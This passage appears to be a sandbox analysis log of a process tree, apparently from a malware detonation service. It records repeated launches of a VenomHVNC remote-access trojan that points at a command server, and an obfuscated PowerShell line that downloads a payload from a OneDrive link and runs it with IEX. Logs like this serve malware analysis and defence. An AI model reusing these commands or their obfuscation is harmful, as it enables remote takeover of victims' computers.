        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        84⤵
        
        PID:10768
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        83⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        83⤵
        
        PID:296
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        84⤵
        
        PID:11936
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        82⤵
        
        PID:9188
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        83⤵
        
        PID:9008
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        83⤵
        
        PID:7064
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        83⤵
        
        PID:10192
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        83⤵
        
        PID:9696
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        82⤵
        
        PID:9196
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        82⤵
        
        PID:1520
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        83⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12284
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        81⤵
        
        PID:9108
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        82⤵
        
        PID:344
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        82⤵
        
        PID:7048
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        82⤵
        
        PID:5616
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        82⤵
        
        PID:568
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        81⤵
        
        PID:9116
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        81⤵
        
        PID:3084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        82⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11656
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        80⤵
        
        PID:8916
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        81⤵
        
        PID:9096
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        81⤵
        
        PID:1492
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        80⤵
        
        PID:8936
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        80⤵
        
        PID:1716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        81⤵
        
        PID:12364
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        79⤵
        
        PID:8704
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        80⤵
        
        PID:9044
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        80⤵
        
        PID:8528
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        79⤵
        
        PID:8712
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        79⤵
        
        PID:9068
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        80⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8292
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        78⤵
        
        PID:8604
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        79⤵
        
        PID:8832
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        79⤵
        
        PID:6228
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        78⤵
        
        PID:8612
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        78⤵
        
        PID:300
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        79⤵
        
        PID:11648
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        77⤵
        
        PID:8484
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        78⤵
        
        PID:8688
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        78⤵
        
        PID:8900
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        77⤵
        
        PID:8496
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        77⤵
        
        PID:7140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        78⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12720
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        76⤵
        
        PID:8220
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        77⤵
        
        PID:8424
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        77⤵
        
        PID:8848
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        76⤵
        
        PID:8228
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        76⤵
        
        PID:6472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        77⤵
        
        PID:7832
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        75⤵
        
        PID:3452
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        76⤵
        
        PID:8468
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        76⤵
        
        PID:4184
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        75⤵
        
        PID:2748
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        75⤵
        
        PID:10008
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        76⤵
        
        PID:2020
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        74⤵
        
        PID:2672
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        75⤵
        
        PID:8396
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        75⤵
        
        PID:4768
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        74⤵
        
        PID:1324
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        74⤵
        
        PID:3588
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        75⤵
        
        PID:12024
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        73⤵
        
        PID:1952
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        74⤵
        
        PID:2556
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        74⤵
        
        PID:8904
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        73⤵
        
        PID:840
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        73⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        74⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        72⤵
        
        PID:2388
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        73⤵
        
        PID:572
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        73⤵
        
        PID:6128
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        72⤵
        
        PID:4128
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        72⤵
        
        PID:2572
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        73⤵
        
        PID:12836
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        71⤵
        
        PID:7692
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        72⤵
        
        PID:2552
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        72⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        71⤵
        
        PID:7908
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        71⤵
        
        PID:7732
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        72⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:12880
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        70⤵
        System Location Discovery: System Language Discovery
        
        PID:7800
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        71⤵
        
        PID:1296
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        71⤵
        
        PID:11000
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        70⤵
        
        PID:7808
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        70⤵
        
        PID:2020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        71⤵
        
        PID:12368
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        69⤵
        
        PID:844
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        70⤵
        
        PID:3360
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        70⤵
        
        PID:6964
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        69⤵
        
        PID:1104
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        69⤵
        
        PID:7716
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        70⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        68⤵
        
        PID:8036
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        69⤵
        
        PID:3392
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        69⤵
        
        PID:6924
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        69⤵
        
        PID:1960
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        68⤵
        
        PID:8080
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        68⤵
        
        PID:5780
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        69⤵
        
        PID:11664
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        67⤵
        
        PID:7892
        
        C:\Windows\explorer.exe
        
        "C:\Windows\explorer.exe"
        68⤵
        
        PID:8008
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe" VenomHVNC windows-services.linkpc.net 4448 waDQmvKdS.exe
        68⤵
        
        PID:4040
        
        C:\Users\Admin\AppData\Local\Temp\venom.exe
        
        "C:\Users\Admin\AppData\Local\Temp\venom.exe"
        67⤵
        
        PID:7900
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\YFBRTYYQ97646.vbs"
        67⤵
        
        PID:1744
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command [void] [System.Reflection.Assembly]::LoadWithPartialName(<#111#>'Microsoft.VisualBasic'<#111#>);$fj=[Microsoft.VisualBasic.Interaction]::CallByname((<#111#>New-Object Net.WebClient),'Dow__lo--tri__g'.replace(<#111#>'__','n'<#111#>).replace(<#111#>'--','adS'<#111#>),[<#111#>Microsoft.VisualBasic.CallType<#111#>]::Method,'+++++++++++++++++++++++++++++################'.Replace('+++++++++++++++++++++++++++++','https://onedrive.live.com/Download?cid=F839F9B0A').Replace('################','F0FDF18&resid=F839F9B0AF0FDF18%21134&authkey=APrNWHT3zGSCPD8'))|IEX;[Byte[]]
        68⤵
        
        PID:12164
        
        C:\Users\Admin\AppData\Local\Temp\ClientH.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ClientH.exe"
        66⤵
        
        PID:7672
        
        C:\Windows\explorer.exe
        
